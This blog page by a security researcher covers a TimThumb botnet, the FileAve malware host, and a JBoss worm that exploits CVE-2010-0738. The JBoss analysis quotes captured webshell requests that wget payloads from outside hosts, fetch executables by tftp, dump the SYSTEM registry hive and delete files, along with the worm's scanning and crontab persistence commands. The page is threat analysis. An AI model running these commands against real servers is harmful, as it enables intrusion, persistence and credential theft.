Posts tagged Botnet
During some analysis on the WordPress TimThumb Botnet, I have discover that an .US domain registrar know as “About.US” is completely compromised… and this since minimum the 15 September. Some RFI (Remote File Inclusion) scripts, how are exploiting the WordPress TimThumb vulnerability, are calling, in a obfuscate mode, a hidden file “stun.jpg” on “About.US” Web site.
This file “stun.jpg” file is also obfuscated and identified as a PHP Shell Malware by 3/20 anti viruses on Jotti, 3/36 anti viruses on VirusScan and 3/43 anti viruses on VirusTotal. The obfuscation is done 10 times with gzinflate(str_rot13(base64_decode())) functions. After deobfuscating the revealed code is a Web PHP Shell named “[ STUNSHELL #unknown @ ByroeNet ]“. You can find this Web PHP Shell with a simple Google dork.
As you know, to exploit WordPress TimThumb vulnerability some extra technical infrastructure is required, such as to be able to create domain names or subdomains containing :
Good news for every one, FileAve.com is finally down since the 18 October ! In July 2010 I have written a blog post on FileAve.com a free file hosting provider notorious for spreading thousands of malwares. FileAve.com have provide 50 MB free storage and a free sub domain for each created account (ex : http://yourname.fileave.com). FileAve.com was owned and operated by “Ripside Interactive, Inc.“, located in US, and more precisely by “Smith, Scott“, since September 2008. “Ripside Interactive, Inc.” was also owner of ripway.com, another notorious malware hoster.
With the data’s contained in our Honeynet database, I can provide you the following statistics. FileAve.com and associated subdomains were linked to 94 other malware spreaders, but FileAve.com was the most important malware spreader in this botnet. These 95 malware spreaders were regularly contacted, by 1420 other source IP addresses, but not known for hosting malwares, in order to attempt to infect new potential vulnerable web servers or computers.
The median lifetime of the 95 malware spreaders were 5 days, with 6 of them how have a lifetime above 1 year, and 2 of the 6 with a lifetime above 2 years. On the 1420 other source IP addresses, 754 of them were directly connected to FileAve.com IP address.
43 of the malware spreaders were located in South Korea and 32 others were located in US. 837 distinct source IP addresses have contact the malware spreaders located in US and 309 others have contact malware spreaders located in South Korea.
The malware spreaders hosting country how has taken the longest time to shut down the malware spreaders is France, with only 2 malware spreaders located in this country but with an average lifetime of 184 days. The second country is China with 2 malware spreaders and with an average lifetime of 164 days. The third country is Thailand with 2 malware spreaders and with an average lifetime of 127 days. The fourth country is South Korea with 43 malware spreaders and with an average lifetime of 105 days.
FileAve.com botnet golden age have occur between March 2010 and September 2010, with the most active malware spreaders ratio, with the most source IP addresses and the most generated events.
If you are interested in more statistics about FileAve.com activities, I have written an PDF available here. Also I have create a geographic time map of all activities generated by the FileAve.com botnet.
In a previous blogpost I have demonstrate that the WordPress TimThumb RFI vulnerability is used as a botnet recruitment vector. Since this blogpost 1 month has occur, and two and half months since our HoneyNet is gathering events about this botnet.
Actually we have see 30 different domains, related to 37 different IP addresses used to infect vulnerable WordPress (see table).
These 30 different domains are for now related to 370 IP addresses how are surely infected WordPress. Here a representation on how is linked to how.
Also you can find by clicking on the following link a geo localization time map of all the related IP addresses.
GUERRILA7 has report, the 20 October that a JBoss worm circulate to compromise servers running older version of the JBoss Application Server. The JBoss worm discovered by GUERRILA7 target Windows JBoss installation. CVE-2010-0738, published the 26 April 2010, concern a weakness in the default setup of JMX console (/jmx-console/) access security restrictions. A remote attacker could, without any login and password, execute commands in the JBoss running user context, through crafted GET or POST HTTP requests.
Affected versions were :
- JBoss Application Server (AS) 4.0.x
- JBoss Communications Platform 1.2
- JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
- JBoss Enterprise Portal Platform (EPP) 4.3
- JBoss Enterprise Web Platform (EWP) 5.0
- JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0
By doing some Google dorking, in order to find the original source code of the worm, I found some infected JBoss servers. You can find here under a dorking list how will provide you some of these affected servers.
Most of these dorks are present in JBoss status page and you can see some juicy commands executed through the “comment” parameter, like :
GET /zecmd/zecmd.jsp?comment=perl+lindb.pl HTTP/1.0 GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0 GET /iesvc/iesvc.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0 GET /zecmd/zecmd.jsp?comment=cmd+dir HTTP/1.1 GET /zecmd/zecmd.jsp?comment=tftp+-i+188.8.131.52+GET+serv.exe+c:\srve.exe HTTP/1.1 GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+reg+save+HKLM%5CSYSTEM+%5Cwindows%5Ctemp%5Ct1%5C1.bin HTTP/1.1 GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+del+%5Cwindows%5Ctemp%5Ct1%5C*+%5Cinetpub%5Cwwwroot%5Cimages%5Clogo22.gif HTTP/1.1 GET /zecmd/zecmd.jsp?comment=netstat+-nl HTTP/1.1
After some time, I found an affected Linux server how reveal the details of one of the “*.tar.gz” file, in this analysis “javadd.tar.gz“.
“javadd.tar.gz” contain these files :
bm.c / bm.h / pnscan.c / version.c / Makefile / install-sh / ipsort :
These file are part of Pnscan [pnsc] how is a multi-threaded port scanner with an extra capability to send and look for specific strings. These script need a compiler (gcc for Linux) to work. We will explain further how pnsc is used in the worm.
fly.pl : Source code
This file as described by GUERRILA7 is an IRC like script, but the connexions are done in HTTP mode on port 8080/TCP. The version I found contain more C&C servers, but actually all of them are down.
- jboss.dyndns.biz is down.
- webstats.twilightparadox.com point to a 127.0.0.1 IN A 🙂
- weztatso.dyndns-remote.com is down.
- jasuyeifd.dyndns.info is down.
- chillbill.twilightparadox.com is down.
- cents.dyndns-web.com point to a 127.0.0.2 IN A 🙂
- The last C&C entry is more funny : its”.time().”s.dyndns.info. With this kind of entry you have a potential of billions of C&C servers 🙂
Owner of the C&C should have an nickname containing “iseee” to give orders to the remote affected JBoss server.
lindb.pl : Source code
This script will act as the major injection and propagation code. First of all, if the current JBoss running user is root, the script will call “treat.sh” script. I will describe further the usage of this script.
The script will try to compile the “pnscan” script and will then execute the “fly.pl” script. Through the “sudoku” variable (LOL), the script will then execute “pnscan“.
$sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6500 $partx.$party.0.0/16 80 > $fl";
“pnscan” will try to find “JBoss” in the response string after submitting a HTTP HEAD request to random destination IPs in /16 range. All the results are saved into this file :
After the execution of “sudoku“, the script open the results and try to find possible vulnerable targets how have return “JBoss” in response.
Here an attack is attempted by using the following payload (Source code), through another HTTP HEAD request to “/jmx-console/“. The decoded payload is a simple Java JSP backdoor form how allow command execution and result display (Source code).
Depending on the infection script the Java JSP script will be pushed into as “idssvc.war“, “zecmd.war” or “iesvc.war” on the server.
Once infected, the newly infected server will receive the order to execute “lindb.pl” through the Java JSP backdoor.
treat.sh : Source code
This script will be executed by “lindb.pl” and will try to download some additional scripts, not actually available, from some domains also presents in “fly.pl” script. But these downloads are done by a compiled C script, installed in the root directory as “.sysdbs” file and planned to be executed by cron at 01:01 AM the day 10 of the month.
echo '1 1 10 * * /root/.sysdbs' >> /tmp/myc crontab /tmp/myc rm /tmp/myc
So normally the 10 November at 01:01 AM the additional script should be downloaded by the actual inactive domains. I have analyze 4 Linux variant of these scripts and all have the same behaviors.